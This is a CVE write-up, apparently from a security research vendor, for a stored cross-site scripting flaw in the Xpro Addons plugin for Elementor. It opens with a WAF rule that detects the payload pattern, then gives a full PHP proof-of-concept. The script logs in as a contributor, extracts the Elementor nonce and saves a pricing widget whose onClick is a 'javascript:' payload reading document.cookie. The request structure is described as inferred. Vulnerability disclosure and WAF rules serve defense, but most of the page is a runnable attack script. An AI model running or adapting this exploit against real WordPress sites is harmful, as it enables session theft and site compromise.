CVE-2025-13368: Xpro Addons — 140+ Widgets for Elementor <= 1.4.20 – Authenticated (Contributor+) Stored Cross-Site Scripting (xpro-elementor-addons)

# Atomic Edge WAF Rule - CVE-2025-13368 (metadata-based)
# This rule targets the AJAX endpoint used to save Elementor widget data.
# It blocks requests that attempt to set a malicious 'onClick' attribute in the Xpro Pricing widget.
# The rule matches the exact AJAX URI and action, then inspects the POSTed JSON data for the exploit pattern.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202513368,phase:2,deny,status:403,chain,msg:'CVE-2025-13368: Xpro Addons Stored XSS via Pricing Widget onClick',severity:'CRITICAL',tag:'CVE-2025-13368',tag:'WordPress',tag:'Plugin/Xpro-Addons',tag:'Attack/XSS'"
  SecRule ARGS_POST:action "@streq elementor_ajax" "chain"
    SecRule REQUEST_BODY "@rx "widgetType"s*:s*"xpro-pricing"" "chain"
      SecRule REQUEST_BODY "@rx "onClick"s*:s*"javascript:[^"]"

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13368 - Xpro Addons — 140+ Widgets for Elementor <= 1.4.20 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2025-13368.
 * This script simulates an authenticated attacker (Contributor role) injecting a stored XSS payload
 * into the 'onClick Event' setting of the Xpro Addons Pricing Widget via Elementor's AJAX save system.
 * ASSUMPTIONS:
 * 1. The target site uses Elementor Pro or the free version with Xpro Addons <= 1.4.20.
 * 2. The attacker has valid contributor-level credentials (username/password).
 * 3. The exact AJAX action and parameter structure for saving Elementor widget data is inferred from common patterns.
 * 4. A valid nonce for the 'elementor_ajax' action is required and obtained via a prior request.
 * 5. The target post ID where the payload will be injected is known or can be created.
 */

$target_url = 'http://vulnerable-wordpress-site.local'; // CONFIGURE THIS
$username = 'contributor_user'; // CONFIGURE THIS
$password = 'contributor_password'; // CONFIGURE THIS
$target_post_id = 123; // CONFIGURE: ID of post/page to edit
$payload = 'javascript:alert(`Atomic Edge XSS: `+document.cookie)'; // XSS payload for onClick attribute

// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
$post_fields = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);
if (strpos($response, 'Dashboard') === false) {
    die('Authentication failed. Check credentials.');
}

// Step 2: Fetch a nonce for Elementor AJAX requests from the editor page
$editor_url = $target_url . '/wp-admin/post.php?post=' . $target_post_id . '&action=elementor';
curl_setopt($ch, CURLOPT_URL, $editor_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);
// Extract nonce from page (simplified pattern match; real implementation may need regex)
preg_match('/"nonce":"([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
if (empty($nonce)) {
    die('Could not retrieve Elementor nonce. The user may lack edit permissions for the post.');
}

// Step 3: Craft AJAX request to save Elementor data with malicious widget settings
// Inferred AJAX action: 'elementor_ajax' based on Elementor convention.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
// Construct the widget data. The exact structure is inferred; the 'onClick' key targets the vulnerable setting.
$widget_data = [
    'actions' => [
        [
            'action' => 'save_builder',
            'data' => [
                'post_id' => $target_post_id,
                'elements' => [
                    [
                        'id' => 'some_element_id',
                        'elType' => 'widget',
                        'settings' => [
                            'widgetType' => 'xpro-pricing', // Inferred widget type
                            'onClick' => $payload // Vulnerable parameter
                        ],
                        'elements' => []
                    ]
                ]
            ]
        ]
    ]
];
$post_fields = http_build_query([
    'actions' => json_encode($widget_data),
    '_nonce' => $nonce
]);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
$response = curl_exec($ch);

// Check response
if (strpos($response, '"success":true') !== false) {
    echo 'Payload likely injected. Visit post ID ' . $target_post_id . ' to trigger XSS.n';
} else {
    echo 'Injection may have failed. Response: ' . $response . 'n';
}

curl_close($ch);
?>